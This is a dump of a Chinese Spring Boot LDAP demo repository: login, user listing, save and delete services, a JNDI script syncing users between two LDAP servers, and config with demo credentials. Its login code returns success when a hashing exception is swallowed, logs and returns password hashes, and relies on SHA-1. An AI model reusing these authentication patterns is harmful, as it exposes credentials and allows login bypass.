{\n                throw new ServiceException(\"用户名或密码错误，请重新尝试\");\n            } else {\n                user.setUserPassword(LdapUtils.asciiToString(user.getUserPassword()));\n                if (!LdapUtils.verify(user.getUserPassword(), request.getPassword())) {\n                    throw new ServiceException(\"用户名或密码错误，请重新尝试\");\n                }\n            }\n        } catch (NoSuchAlgorithmException e) {\n            e.printStackTrace();\n        }\n\n        log.info(\"user info:{}\", user);\n        return Result.success(user);\n    }\n\n    /**\n     * 查询全部\n     *\n     * @return {@link Result}\n     */\n    @Override\n    public Result listAllPerson() {\n        Iterable<Person> personList = personRepository.findAll();\n        personList.forEach(person -> person.setUserPassword(LdapUtils.asciiToString(person.getUserPassword())));\n        return Result.success(personList);\n    }\n\n    /**\n     * 保存\n     *\n     * @param person {@link Person}\n     */\n    @Override\n    public void save(Person person) {\n        Person p = personRepository.save(person);\n        log.info(\"用户{}保存成功\", p.getUid());\n    }\n\n    /**\n     * 删除\n     *\n     * @param person {@link Person}\n     */\n    @Override\n    public void delete(Person person) {\n        personRepository.delete(person);\n        log.info(\"删除用户{}成功\", person.getUid());\n    }\n    \n}\n```\n\n## LdapDemoApplicationTests.java\n> 测试\n```java\n/**\n * LdapDemoApplicationTest\n *\n * @author fxbin\n * @version v1.0\n * @since 2019/8/26 1:06\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class LdapDemoApplicationTests {\n\n    @Resource\n    private PersonService personService;\n\n    @Test\n    public void contextLoads() {\n    }\n\n    /**\n     * 测试查询单个\n     */\n    @Test\n    public void loginTest() {\n        LoginRequest loginRequest = LoginRequest.builder().username(\"wangwu\").password(\"123456\").build();\n        Result login = personService.login(loginRequest);\n        System.out.println(login);\n    }\n\n    /**\n     * 测试查询列表\n     */\n    @Test\n    public void listAllPersonTest() {\n        Result result = personService.listAllPerson();\n        System.out.println(result);\n    }\n\n    /**\n     * 测试保存\n     */\n    @Test\n    public void saveTest() {\n        Person person = new Person();\n\n        person.setUid(\"zhaosi\");\n\n        person.setSurname(\"赵\");\n        person.setGivenName(\"四\");\n        person.setUserPassword(\"123456\");\n\n        // required field\n        person.setPersonName(\"赵四\");\n        person.setUidNumber(\"666\");\n        person.setGidNumber(\"666\");\n        person.setHomeDirectory(\"/home/zhaosi\");\n        person.setLoginShell(\"/bin/bash\");\n\n        personService.save(person);\n    }\n\n    /**\n     * 测试删除\n     */\n    @Test\n    public void deleteTest() {\n        Person person = new Person();\n        person.setUid(\"zhaosi\");\n\n        personService.delete(person);\n    }\n\n}\n```\n\n## 其余代码参见本 demo\n\n## 参考\n\nspring-data-ldap 官方文档: https://docs.spring.io/spring-data/ldap/docs/2.1.10.RELEASE/reference/html/\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/java操作ldap.md",
    "content": "java操作ldap\n\n\n原因：2个ldap间用户同步（因为ldap组织结构的不同步，需要同步一台的用户和密码）\n\n操作：ldap认证、获取ldap用户信息、添加ldap组、添加ldap用户、修改ldap用户信息、删除ldap用户\n\n遇到的问题：gidNumer和uidNumber ，必须是int类型.10位长度.\n\npublic class LdapUser {\n\n\tpublic String cn;\n\tpublic String sn;\n\tpublic String uid;\n\tpublic String userPassword;\n\tpublic String displayName;\n\tpublic String mail;\n\tpublic String description;\n\tpublic String uidNumber;\n\tpublic String gidNumber;\n\t/**忽略get\\set方法**/\n}\n\n\nimport java.util.ArrayList;\nimport java.util.Hashtable;\nimport java.util.List;\n\nimport javax.naming.Context;\nimport javax.naming.NamingEnumeration;\nimport javax.naming.NamingException;\nimport javax.naming.directory.Attribute;\nimport javax.naming.directory.BasicAttribute;\nimport javax.naming.directory.BasicAttributes;\nimport javax.naming.directory.DirContext;\nimport javax.naming.directory.ModificationItem;\nimport javax.naming.directory.SearchControls;\nimport javax.naming.directory.SearchResult;\nimport javax.naming.ldap.Control;\nimport javax.naming.ldap.InitialLdapContext;\nimport javax.naming.ldap.LdapContext;\n\nimport com.robot.bean.LdapUser;\n\npublic class LdapUtil {\n\tpublic static void main(String[] args) throws NamingException {\n\t\tString url = \"ldap://10.100.11.xx:389/\";\n\t\tString basedn = \"dc=jr,dc=ly,dc=com\";  // basedn\n\t\tString root = \"cn=admin,dc=jr,dc=ly,dc=com\";  // 用户\n\t\tString pwd =\"xxx\";  // pwd\n\t\t\n\t\tLdapContext ctx=ldapConnect(url,root,pwd);//集团 ldap认证\n\t\tList<LdapUser> jtlm=readLdap(ctx,basedn);//获取集团ldap中用户信息\n\t\t\n\t\t url = \"ldap://10.100.22.xx:389/\";\n\t\t basedn = \"dc=tcjf,dc=com\";  // basedn\n\t\t root = \"cn=Manager,dc=tcjf,dc=com\";  // 用户\n\t\t pwd =\"xxx\";  // pwd\n\t\t ctx=ldapConnect(url,root,pwd);//cdh ldap认证\n\t\t List<LdapUser> cdhlm=readLdap(ctx,basedn);//获取cdh ldap中用户信息\n//通过时间戳初始化一个uid\n\t\t long init_uid= getNowTimeStamp();\n\t\t //循环集团ldap用户\n\t\t for(int i=0;i<jtlm.size();i++){\n\t\t\t LdapUser jtu=jtlm.get(i);\n             init_uid=init_uid+i;//生成一个唯一的ID\n\t\t\t jtu.setGidNumber(init_uid+\"\");//设置gid\n\t\t\t jtu.setUidNumber(init_uid+\"\");//设置uid\n\t\t\t// if(!\"testwx\".equals(jtu.getUid()))\n\t\t\t//\t continue;\n\t\t\t boolean not_exist =true;\n\t\t\t //循环匹配cdh ldap用户\n\t\t\t for(int j=0;j<cdhlm.size();j++){\n\t\t\t\t LdapUser cdhu=cdhlm.get(j);\n\t\t\t\t //双方用户存在并且密码相同\n\t\t\t\t if( jtu.getUid().equals(cdhu.getUid()) && jtu.getUserPassword().equals(cdhu.getUserPassword()) ){ \n\t\t\t\t\t not_exist=false;\n\t\t\t\t\t break;\n\t\t\t\t }else if(jtu.getUid().equals(cdhu.getUid()) && !jtu.getUserPassword().equals(cdhu.getUserPassword())){//双方用户存在,但是密码不同\n\t\t\t\t\t modifyInformation(jtu,ctx);//修改cdh ldap的密码,改为集团ldap的用户密码\n\t\t\t\t\t not_exist=false;\n\t\t\t\t\t break;\n\t\t\t\t }\n\t\t\t }\n\t\t\t //cdh ldap中没有此用户就添加\n\t\t\t if(not_exist){\n\t\t\t\tboolean b = addGoups(jtu,ctx);\n                 if(b)\n                \t addUser(jtu,ctx);\n\t\t\t }\n\t\t }\n\t\t if(ctx!=null)\n\t\t\t ctx.close();\n\t}\n\t/**\n\t   * 添加组\n\t   * @param lu\n\t   * @param ctx\n\t   * @return\n\t   */\n\t  public static boolean addGoups(LdapUser lu,LdapContext ctx) {\n\t      BasicAttributes attrsbu = new BasicAttributes();\n\t      BasicAttribute objclassSet = new BasicAttribute(\"objectClass\");\n\t      objclassSet.add(\"posixGroup\");\n\t      objclassSet.add(\"top\");\n\t      attrsbu.put(objclassSet);\n\t      attrsbu.put(\"cn\", lu.getCn());//显示账号\n\t      attrsbu.put(\"userPassword\", \"{crypt}x\");//显示\n          \n\t      attrsbu.put(\"gidNumber\",lu.getGidNumber());/*显示组id */\n\t      attrsbu.put(\"memberUid\", lu.getCn());//显示账号\n\t      try {\n\t    \tString cn=\"cn=\"+lu.getCn()+\",ou=Group,dc=tcjf,dc=com\";\n\t    \tSystem.out.println(cn);\n\t    \t ctx.createSubcontext(cn, attrsbu);\n\t    \tSystem.out.println(\"添加用户group成功\");\n\t        return true;\n\t      } catch (Exception e) {\n\t    \t  System.out.println(\"添加用户group失败\");\n\t    \t  e.printStackTrace();\n\t        return false;\n\t      }\n\t}\n\t\n\t  /**\n\t   * 添加用户\n\t   * @param lu\n\t   * @param ctx\n\t   * @return\n\t   */\n\t  public static boolean addUser(LdapUser lu,LdapContext ctx) {\n\t      BasicAttributes attrsbu = new BasicAttributes();\n\t      BasicAttribute objclassSet = new BasicAttribute(\"objectClass\");\n\t     // objclassSet.add(\"account\");\n\t      objclassSet.add(\"posixAccount\");\n\t      objclassSet.add(\"inetOrgPerson\");\n\t      objclassSet.add(\"top\");\n\t      objclassSet.add(\"shadowAccount\");\n\t      attrsbu.put(objclassSet);\n\t      attrsbu.put(\"uid\",  lu.getUid());//显示账号\n\t      attrsbu.put(\"sn\", lu.getSn());//显示姓名\n\t      attrsbu.put(\"cn\", lu.getCn());//显示账号\n\t      attrsbu.put(\"gecos\", lu.getCn());//显示账号\n\t      attrsbu.put(\"userPassword\", lu.getUserPassword());//显示密码\n\t      attrsbu.put(\"displayName\", lu.getDisplayName());//显示描述\n\t      attrsbu.put(\"mail\", lu.getMail());//显示邮箱\n\t      attrsbu.put(\"homeDirectory\", \"/home/\" + lu.getCn());//显示home地址\n\t      attrsbu.put(\"loginShell\", \"/bin/bash\");//显示shell方式\n\t      attrsbu.put(\"uidNumber\", lu.getUidNumber());/*显示id */\n\t      attrsbu.put(\"gidNumber\", lu.getGidNumber());/*显示组id */\n\t      \n\t      try {\n\t    \tString dn=\"uid=\"+lu.getCn()+\",ou=People,dc=tcjf,dc=com\";\n\t    \tSystem.out.println(dn);\n\t    \tctx.createSubcontext(dn, attrsbu);\n\t    \tSystem.out.println(\"添加用户成功\");\n\t        return true;\n\t      } catch (Exception e) {\n\t    \t  System.out.println(\"添加用户失败\");\n\t    \t  e.printStackTrace();\n\t        return false;\n\t      }\n\t}\n\t  /**\n\t   * 修改属性\n\t   * @param dn\n\t   * @param ctx\n\t   * @return\n\t   */\n\t  public static boolean modifyInformation(LdapUser lu,LdapContext ctx) {\n\t  try {\n\t\t       ModificationItem[] mods = new ModificationItem[1];\n\t\t       String dn=\"uid=\"+lu.getCn()+\",ou=People,dc=tcjf,dc=com\";\n\t\t   /*添加属性*/\n\t\t  //  Attribute attr0 = new BasicAttribute(\"description\", \"测试\");\n\t\t  //  mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE,attr0);\n\t \n\t\t  /*修改属性*/\n\t\t     Attribute attr0 = new BasicAttribute(\"userPassword\", lu.getUserPassword());\n\t\t     mods[0] = new ModificationItem(DirContext.REPLACE_ATTRIBUTE, attr0);\n\t \n\t\t  /*删除属性*/\n\t\t  //  Attribute attr0 = new BasicAttribute(\"description\", \"测试\");\n\t\t  //  mods[0] = new ModificationItem(DirContext.REMOVE_ATTRIBUTE, attr0);\n\t\t       ctx.modifyAttributes(dn, mods);\n\t\t       System.out.println(\"修改成功\");\n\t\t       return true;\n\t\t     } catch (NamingException ne) {\n\t\t    \t System.out.println(\"修改失败\");\n\t\t        ne.printStackTrace();\n\t\t        return false;\n\t\t     }\n\t \n\t\t  }\n\t  \n\t  /**\n\t   * 删除\n\t   * @param dn\n\t   * @param ctx\n\t   * @return\n\t   */\n\t  public  static boolean delete(String dn,LdapContext ctx) {\n\t        try {\n\t        \tctx.destroySubcontext(dn);\n\t        \treturn true;\n\t        } catch (Exception e) {\n\t            e.printStackTrace();\n\t            return false;\n\t        }\n\t    }\n\t/**\n\t * 获取ldap认证\n\t * @param url\n\t * @param basedn\n\t * @param root\n\t * @param pwd\n\t * @return\n\t */\n\tpublic static LdapContext ldapConnect(String url,String root,String pwd){\n\t\tString factory = \"com.sun.jndi.ldap.LdapCtxFactory\";\n\t\tString simple=\"simple\";\n\t\tHashtable<String, String> env = new Hashtable<String, String>();\n\t\tenv.put(Context.INITIAL_CONTEXT_FACTORY,factory);\n\t\tenv.put(Context.PROVIDER_URL, url);\n\t\tenv.put(Context.SECURITY_AUTHENTICATION, simple);\n\t\tenv.put(Context.SECURITY_PRINCIPAL, root);\n\t\tenv.put(Context.SECURITY_CREDENTIALS, pwd);\n\t\tLdapContext ctx = null;\n\t\tControl[] connCtls = null;\n\t\ttry {\n\t\t\tctx = new InitialLdapContext(env, connCtls);\n\t\t\tSystem.out.println( \"认证成功:\"+url); \n\t\t}catch (javax.naming.AuthenticationException e) {\n\t        System.out.println(\"认证失败：\");\n\t        e.printStackTrace();\n\t    } catch (Exception e) {\n\t        System.out.println(\"认证出错：\");\n\t        e.printStackTrace();\n\t    }\n\t\treturn ctx;\n\t}\n\t   \n\t/**\n\t * 获取用户信息\n\t * @param ctx\n\t * @param basedn\n\t * @return\n\t */\n\tpublic static List<LdapUser> readLdap(LdapContext ctx,String basedn){\n\t\t\n\t\tList<LdapUser> lm=new ArrayList<LdapUser>();\n\t\ttry {\n\t\t\t if(ctx!=null){\n\t\t\t\t//过滤条件\n\t            String filter = \"(&(objectClass=*)(uid=*))\";\n\t\t\t\tString[] attrPersonArray = { \"uid\", \"userPassword\", \"displayName\", \"cn\", \"sn\", \"mail\", \"description\" };\n\t            SearchControls searchControls = new SearchControls();//搜索控件\n\t            searchControls.setSearchScope(2);//搜索范围\n\t            searchControls.setReturningAttributes(attrPersonArray);\n\t            //1.要搜索的上下文或对象的名称；2.过滤条件，可为null，默认搜索所有信息；3.搜索控件，可为null，使用默认的搜索控件\n\t            NamingEnumeration<SearchResult> answer = ctx.search(basedn, filter.toString(),searchControls);\n\t            while (answer.hasMore()) {\n\t                SearchResult result = (SearchResult) answer.next();\n\t                NamingEnumeration<? extends Attribute> attrs = result.getAttributes().getAll();\n\t                LdapUser lu=new LdapUser();\n\t                while (attrs.hasMore()) {\n\t                    Attribute attr = (Attribute) attrs.next();\n\t                    if(\"userPassword\".equals(attr.getID())){\n\t                    \tObject value = attr.get();\n\t                    \tlu.setUserPassword(new String((byte [])value));\n\t                    }else if(\"uid\".equals(attr.getID())){\n\t                    \tlu.setUid(attr.get().toString());\n\t                    }else if(\"displayName\".equals(attr.getID())){\n\t                    \tlu.setDisplayName(attr.get().toString());\n\t                    }else if(\"cn\".equals(attr.getID())){\n\t                    \tlu.setCn(attr.get().toString());\n\t                    }else if(\"sn\".equals(attr.getID())){\n\t                    \tlu.setSn(attr.get().toString());\n\t                    }else if(\"mail\".equals(attr.getID())){\n\t                    \tlu.setMail(attr.get().toString());\n\t                    }else if(\"description\".equals(attr.getID())){\n\t                    \tlu.setDescription(attr.get().toString());\n\t                    }\n\t                }\n\t                if(lu.getUid()!=null)\n\t                \tlm.add(lu);\n\t                \n\t            }\n\t\t\t }\n\t\t}catch (Exception e) {\n\t\t\tSystem.out.println(\"获取用户信息异常:\");\n\t\t\te.printStackTrace();\n\t\t}\n\t\t \n\t\treturn lm;\n\t}\n\t \n\t/**\n\t * string 转 数值\n\t * @param m\n\t * @return\n\t */\n\tpublic static String strToint(String m){\n\t\tif(m==null || \"\".equals(m))\n\t\t\treturn \"-1\";\n\t    char [] a=m.toCharArray();\n\t    StringBuffer sbu = new StringBuffer();\n\t    for(char c:a)\n\t    \tsbu.append((int)c);\n\t    System.out.println(sbu.toString());\n\t    return sbu.toString();\n\t}\n\t/**\n\t * 获取时间戳\n\t * @return\n\t */\n\tpublic static long getNowTimeStamp() {\n\t    long time = System.currentTimeMillis();\n\t    time =  time / 1000;\n\t    return time;\n\t}\t\n\n}\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n    <parent>\n\t    <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n  <artifactId>springboot_ldap</artifactId>\n  <version>1.0</version>\n  <packaging>jar</packaging>\n\n  <name>springboot_ldap</name>\n  <description>Demo project for Spring Boot</description>\n\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <java.version>1.8</java.version>\n  </properties>\n\n  <dependencies>\n\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-data-ldap</artifactId>\n    </dependency>\n\n    <!-- test -->\n    <dependency>\n      <groupId>org.springframework.boot</groupId>\n      <artifactId>spring-boot-starter-test</artifactId>\n      <scope>test</scope>\n    </dependency>\n\n    <!-- lombok -->\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <optional>true</optional>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n    \t<groupId>junit</groupId>\n    \t<artifactId>junit</artifactId>\n    \t<version>4.13.1</version>\n    </dependency>\n  </dependencies>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/src/main/java/com/jun/plugin/ldap/LdapDemoApplication.java",
    "content": "package com.jun.plugin.ldap;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * LdapDemoApplication Ldap demo 启动类\n *\n * @author Wujun\n * @version v1.0\n * @since 2019/8/26 0:37\n */\n@SpringBootApplication\npublic class LdapDemoApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(LdapDemoApplication.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/src/main/java/com/jun/plugin/ldap/api/Result.java",
    "content": "package com.jun.plugin.ldap.api;\n\nimport lombok.Data;\nimport org.springframework.lang.Nullable;\n\nimport java.io.Serializable;\n\n/**\n * Result\n *\n * @author Wujun\n * @version v1.0\n * @since 2019/8/26 1:44\n */\n@Data\npublic class Result<T> implements Serializable {\n\n    private static final long serialVersionUID = 1696194043024336235L;\n\n    /**\n     * 错误码\n     */\n    private int errcode;\n\n    /**\n     * 错误信息\n     */\n    private String errmsg;\n\n    /**\n     * 响应数据\n     */\n    private T data;\n\n    public Result() {\n    }\n\n    private Result(ResultCode resultCode) {\n        this(resultCode.code, resultCode.msg);\n    }\n\n    private Result(ResultCode resultCode, T data) {\n        this(resultCode.code, resultCode.msg, data);\n    }\n\n    private Result(int errcode, String errmsg) {\n        this(errcode, errmsg, null);\n    }\n\n    private Result(int errcode, String errmsg, T data) {\n        this.errcode = errcode;\n        this.errmsg = errmsg;\n        this.data = data;\n    }\n\n\n\n    /**\n     * 返回成功\n     *\n     * @param <T> 泛型标记\n     * @return 响应信息 {@code Result}\n     */\n    public static <T> Result<T> success() {\n        return new Result<>(ResultCode.SUCCESS);\n    }\n\n\n    /**\n     * 返回成功-携带数据\n     *\n     * @param data 响应数据\n     * @param <T> 泛型标记\n     * @return 响应信息 {@code Result}\n     */\n    public static <T> Result<T> success(@Nullable T data) {\n        return new Result<>(ResultCode.SUCCESS, data);\n    }\n\n\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/src/main/java/com/jun/plugin/ldap/api/ResultCode.java",
    "content": "package com.jun.plugin.ldap.api;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Getter;\n\n/**\n * ResultCode\n *\n * @author Wujun\n * @version v1.0\n * @since 2019/8/26 1:47\n */\n@Getter\n@AllArgsConstructor\npublic enum ResultCode {\n\n    /**\n     * 接口调用成功\n     */\n    SUCCESS(0, \"Request Successful\"),\n\n    /**\n     * 服务器暂不可用，建议稍候重试。建议重试次数不超过3次。\n     */\n    FAILURE(-1, \"System Busy\");\n\n    final int code;\n\n    final String msg;\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/src/main/java/com/jun/plugin/ldap/entity/Person.java",
    "content": "package com.jun.plugin.ldap.entity;\n\nimport lombok.Data;\nimport org.springframework.ldap.odm.annotations.Attribute;\nimport org.springframework.ldap.odm.annotations.DnAttribute;\nimport org.springframework.ldap.odm.annotations.Entry;\nimport org.springframework.ldap.odm.annotations.Id;\n\nimport javax.naming.Name;\nimport java.io.Serializable;\n\n/**\n * People\n *\n * @author Wujun\n * @version v1.0\n * @since 2019/8/26 0:51\n */\n@Data\n@Entry(\n    base = \"ou=people\",\n    objectClasses = {\"posixAccount\", \"inetOrgPerson\", \"top\"}\n)\npublic class Person implements Serializable {\n\n    private static final long serialVersionUID = -7946768337975852352L;\n\n    @Id\n    private Name id;\n\n    /**\n     * 用户id\n     */\n    private String uidNumber;\n\n    /**\n     * 用户名\n     */\n    @DnAttribute(value = \"uid\", index = 1)\n    private String uid;\n\n    /**\n     * 姓名\n     */\n    @Attribute(name = \"cn\")\n    private String personName;\n\n    /**\n     * 密码\n     */\n    private String userPassword;\n\n    /**\n     * 名字\n     */\n    private String givenName;\n\n    /**\n     * 姓氏\n     */\n    @Attribute(name = \"sn\")\n    private String surname;\n\n    /**\n     * 邮箱\n     */\n    private String mail;\n\n    /**\n     * 职位\n     */\n    private String title;\n\n    /**\n     * 部门\n     */\n    private String departmentNumber;\n\n    /**\n     * 部门id\n     */\n    private String gidNumber;\n\n    /**\n     * 根目录\n     */\n    private String homeDirectory;\n\n    /**\n     * loginShell\n     */\n    private String loginShell;\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/src/main/java/com/jun/plugin/ldap/exception/ServiceException.java",
    "content": "package com.jun.plugin.ldap.exception;\n\nimport com.jun.plugin.ldap.api.ResultCode;\n\nimport lombok.Getter;\n\n/**\n * ServiceException\n *\n * @author Wujun\n * @version v1.0\n * @since 2019/8/26 1:53\n */\npublic class ServiceException extends RuntimeException {\n\n    @Getter\n    private int errcode;\n\n    @Getter\n    private String errmsg;\n\n    public ServiceException(ResultCode resultCode) {\n        this(resultCode.getCode(), resultCode.getMsg());\n    }\n\n    public ServiceException(String message) {\n        super(message);\n    }\n\n    public ServiceException(Integer errcode, String errmsg) {\n        super(errmsg);\n        this.errcode = errcode;\n        this.errmsg = errmsg;\n    }\n\n    public ServiceException(String message, Throwable cause) {\n        super(message, cause);\n    }\n\n    public ServiceException(Throwable cause) {\n        super(cause);\n    }\n\n    public ServiceException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) {\n        super(message, cause, enableSuppression, writableStackTrace);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/src/main/java/com/jun/plugin/ldap/repository/PersonRepository.java",
    "content": "package com.jun.plugin.ldap.repository;\n\nimport org.springframework.data.repository.CrudRepository;\nimport org.springframework.stereotype.Repository;\n\nimport com.jun.plugin.ldap.entity.Person;\n\nimport javax.naming.Name;\n\n/**\n * PersonRepository\n *\n * @author Wujun\n * @version v1.0\n * @since 2019/8/26 1:02\n */\n@Repository\npublic interface PersonRepository extends CrudRepository<Person, Name> {\n\n    /**\n     * 根据用户名查找\n     *\n     * @param uid 用户名\n     * @return com.xkcoding.ldap.entity.Person\n     */\n    Person findByUid(String uid);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/src/main/java/com/jun/plugin/ldap/request/LoginRequest.java",
    "content": "package com.jun.plugin.ldap.request;\n\nimport lombok.Builder;\nimport lombok.Data;\n\n/**\n * LoginRequest\n *\n * @author Wujun\n * @version v1.0\n * @since 2019/8/26 1:50\n */\n@Data\n@Builder\npublic class LoginRequest {\n\n    private String username;\n\n    private String password;\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/src/main/java/com/jun/plugin/ldap/service/PersonService.java",
    "content": "package com.jun.plugin.ldap.service;\n\nimport com.jun.plugin.ldap.api.Result;\nimport com.jun.plugin.ldap.entity.Person;\nimport com.jun.plugin.ldap.request.LoginRequest;\n\n/**\n * PersonService\n *\n * @author Wujun\n * @version v1.0\n * @since 2019/8/26 1:05\n */\npublic interface PersonService {\n\n    /**\n     * 登录\n     *\n     * @param request {@link LoginRequest}\n     * @return {@link Result}\n     */\n    Result login(LoginRequest request);\n\n    /**\n     * 查询全部\n     *\n     * @return {@link Result}\n     */\n    Result listAllPerson();\n\n    /**\n     * 保存\n     *\n     * @param person {@link Person}\n     */\n    void save(Person person);\n\n    /**\n     * 删除\n     *\n     * @param person {@link Person}\n     */\n    void delete(Person person);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/src/main/java/com/jun/plugin/ldap/service/impl/PersonServiceImpl.java",
    "content": "package com.jun.plugin.ldap.service.impl;\n\nimport lombok.RequiredArgsConstructor;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport org.springframework.util.ObjectUtils;\n\nimport com.jun.plugin.ldap.api.Result;\nimport com.jun.plugin.ldap.entity.Person;\nimport com.jun.plugin.ldap.exception.ServiceException;\nimport com.jun.plugin.ldap.repository.PersonRepository;\nimport com.jun.plugin.ldap.request.LoginRequest;\nimport com.jun.plugin.ldap.service.PersonService;\nimport com.jun.plugin.ldap.util.LdapUtils;\n\nimport java.security.NoSuchAlgorithmException;\n\n/**\n * PersonServiceImpl\n *\n * @author Wujun\n * @version v1.0\n * @since 2019/8/26 1:05\n */\n@Slf4j\n@Service\n@RequiredArgsConstructor(onConstructor_ = @Autowired)\npublic class PersonServiceImpl implements PersonService {\n    private final PersonRepository personRepository;\n\n    /**\n     * 登录\n     *\n     * @param request {@link LoginRequest}\n     * @return {@link Result}\n     */\n    @Override\n    public Result login(LoginRequest request) {\n        log.info(\"IN LDAP auth\");\n\n        Person user = personRepository.findByUid(request.getUsername());\n\n        try {\n            if (ObjectUtils.isEmpty(user)) {\n                throw new ServiceException(\"用户名或密码错误，请重新尝试\");\n            } else {\n                user.setUserPassword(LdapUtils.asciiToString(user.getUserPassword()));\n                if (!LdapUtils.verify(user.getUserPassword(), request.getPassword())) {\n                    throw new ServiceException(\"用户名或密码错误，请重新尝试\");\n                }\n            }\n        } catch (NoSuchAlgorithmException e) {\n            e.printStackTrace();\n        }\n\n        log.info(\"user info:{}\", user);\n        return Result.success(user);\n    }\n\n    /**\n     * 查询全部\n     *\n     * @return {@link Result}\n     */\n    @Override\n    public Result listAllPerson() {\n        Iterable<Person> personList = personRepository.findAll();\n        personList.forEach(person -> person.setUserPassword(LdapUtils.asciiToString(person.getUserPassword())));\n        return Result.success(personList);\n    }\n\n    /**\n     * 保存\n     *\n     * @param person {@link Person}\n     */\n    @Override\n    public void save(Person person) {\n        Person p = personRepository.save(person);\n        log.info(\"用户{}保存成功\", p.getUid());\n    }\n\n    /**\n     * 删除\n     *\n     * @param person {@link Person}\n     */\n    @Override\n    public void delete(Person person) {\n        personRepository.delete(person);\n        log.info(\"删除用户{}成功\", person.getUid());\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/src/main/java/com/jun/plugin/ldap/util/LdapUtils.java",
    "content": "package com.jun.plugin.ldap.util;\n\nimport com.sun.org.apache.xerces.internal.impl.dv.util.Base64;\n\nimport java.security.MessageDigest;\nimport java.security.NoSuchAlgorithmException;\n\n/**\n * LdapUtils\n *\n * @author Wujun\n * @version v1.0\n * @since 2019/8/26 1:03\n */\npublic class LdapUtils {\n\n    /**\n     * 校验密码\n     *\n     * @param ldapPassword  ldap 加密密码\n     * @param inputPassword 用户输入\n     * @return boolean\n     * @throws NoSuchAlgorithmException 加解密异常\n     */\n    public static boolean verify(String ldapPassword, String inputPassword) throws NoSuchAlgorithmException {\n\n        // MessageDigest 提供了消息摘要算法，如 MD5 或 SHA，的功能，这里LDAP使用的是SHA-1\n        MessageDigest md = MessageDigest.getInstance(\"SHA-1\");\n\n        // 取出加密字符\n        if (ldapPassword.startsWith(\"{SSHA}\")) {\n            ldapPassword = ldapPassword.substring(6);\n        } else if (ldapPassword.startsWith(\"{SHA}\")) {\n            ldapPassword = ldapPassword.substring(5);\n        }\n        // 解码BASE64\n        byte[] ldapPasswordByte = Base64.decode(ldapPassword);\n        byte[] shaCode;\n        byte[] salt;\n\n        // 前20位是SHA-1加密段，20位后是最初加密时的随机明文\n        if (ldapPasswordByte.length <= 20) {\n            shaCode = ldapPasswordByte;\n            salt = new byte[0];\n        } else {\n            shaCode = new byte[20];\n            salt = new byte[ldapPasswordByte.length - 20];\n            System.arraycopy(ldapPasswordByte, 0, shaCode, 0, 20);\n            System.arraycopy(ldapPasswordByte, 20, salt, 0, salt.length);\n        }\n        // 把用户输入的密码添加到摘要计算信息\n        md.update(inputPassword.getBytes());\n        // 把随机明文添加到摘要计算信息\n        md.update(salt);\n\n        // 按SSHA把当前用户密码进行计算\n        byte[] inputPasswordByte = md.digest();\n\n        // 返回校验结果\n        return MessageDigest.isEqual(shaCode, inputPasswordByte);\n    }\n\n    /**\n     * Ascii转换为字符串\n     *\n     * @param value Ascii串\n     * @return 字符串\n     */\n    public static String asciiToString(String value) {\n        StringBuilder sbu = new StringBuilder();\n        String[] chars = value.split(\",\");\n        for (String aChar : chars) {\n            sbu.append((char) Integer.parseInt(aChar));\n        }\n        return sbu.toString();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/src/main/resources/application.yml",
    "content": "spring:\n  ldap:\n    urls: ldap://localhost:389\n    base: dc=example,dc=org\n    username: cn=admin,dc=example,dc=org\n    password: admin\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_ldap/src/test/java/com/jun/plugin/ldap/LdapDemoApplicationTests.java",
